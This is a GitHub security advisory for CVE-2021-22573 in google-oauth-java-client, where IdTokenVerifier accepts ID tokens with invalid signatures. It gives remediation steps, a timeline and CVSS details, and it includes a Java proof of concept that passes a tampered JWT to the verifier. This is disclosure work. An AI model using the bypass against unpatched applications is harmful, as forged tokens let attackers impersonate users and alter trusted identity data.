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google-oauth-java-client improperly verifies cryptographic signature

High severity GitHub Reviewed Published Jun 9, 2022 in googleapis/google-oauth-java-client • Updated Apr 9, 2024

Package

maven com.google.oauth-client:google-oauth-client (Maven)

Affected versions

>= 1.16.0-rc, < 1.33.3

Patched versions

1.33.3

Description

Summary

The vulnerability impacts only users of the IdTokenVerifier class. The verify method in IdTokenVerifier does not validate the signature before verifying the claims (e.g., iss, aud, etc.). Signature verification makes sure that the token's payload comes from valid provider, not from someone else.

An attacker can provide a compromised token with modified payload like email or phone number. The token will pass the validation by the library. Once verified, modified payload can be used by the application.

If the application sends verified IdToken to other service as is like for auth - the risk is low, because the backend of the service is expected to check the signature and fail the request.

Reporter: Tamjid al Rahat, contributor

Patches

The issue was fixed in the 1.33.3 version of the library

Proof of Concept

To reproduce, one needs to call the verify function with an IdToken instance that contains a malformed signature to successfully bypass the checks inside the verify function.

  /** A default http transport factory for testing */
  static class DefaultHttpTransportFactory implements HttpTransportFactory {
    public HttpTransport create() {
      return new NetHttpTransport();
    }
  }

// The below token has some modified bits in the signature
 private static final String SERVICE_ACCOUNT_RS256_TOKEN_BAD_SIGNATURE =    
"eyJhbGciOiJSUzI1NiIsImtpZCI6IjJlZjc3YjM4YTFiMDM3MDQ4NzA0MzkxNmFjYmYyN2Q3NG" +
"VkZDA4YjEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL2V4YW1wbGUuY29tL2F1ZGllbm" +
"NlIiwiZXhwIjoxNTg3NjMwNTQzLCJpYXQiOjE1ODc2MjY5NDMsImlzcyI6InNvbWUgaXNzdWVy" +
"Iiwic3ViIjoic29tZSBzdWJqZWN0In0.gGOQW0qQgs4jGUmCsgRV83RqsJLaEy89-ZOG6p1u0Y26" +
"FyY06b6Odgd7xXLsSTiiSnch62dl0Lfi9D0x2ByxvsGOCbovmBl2ZZ0zHr1wpc4N0XS9lMUq5RJ" + 
"QbonDibxXG4nC2zroDfvD0h7i-L8KMXeJb9pYwW7LkmrM_YwYfJnWnZ4bpcsDjojmPeUBlACg7tjjOgBFby" +
"QZvUtaERJwSRlaWibvNjof7eCVfZChE0PwBpZc_cGqSqKXv544L4ttqdCnm0NjqrTATXwC4gYx" + 
"ruevkjHfYI5ojcQmXoWDJJ0-_jzfyPE4MFFdCFgzLgnfIOwe5ve0MtquKuv2O0pgvg";

IdTokenVerifier tokenVerifier =
        new IdTokenVerifier.Builder()
            .setClock(clock)
            .setCertificatesLocation("https://www.googleapis.com/robot/v1/metadata/x509/integration-tests%40chingor-test.iam.gserviceaccount.com")
            .setHttpTransportFactory(new DefaultHttpTransportFactory())
            .build();

// verification will return true despite modified signature for versions <1.33.3
tokenVerifier.verify(IdToken.parse(GsonFactory.getDefaultInstance(), SERVICE_ACCOUNT_RS256_TOKEN_BAD_SIGNATURE));

Remediation and Mitigation

Update to the version 1.33.3 or higher

If the library used indirectly or cannot be updated for any reason you can use similar IdToken verifiers provided by Google that already has signature verification. For example:
google-auth-library-java
google-api-java-client

Timeline

Date reported: 12 Dec 2021
Date fixed: 13 Apr 2022
Date disclosed: 2 May 2022

For more information

If you have any questions or comments about this advisory:

References

Published to the GitHub Advisory Database Apr 9, 2024
Reviewed Apr 9, 2024
Last updated Apr 9, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

EPSS score

0.063%
(29th percentile)

Weaknesses

CVE ID

CVE-2021-22573

GHSA ID

GHSA-hw42-3568-wj87

Credits

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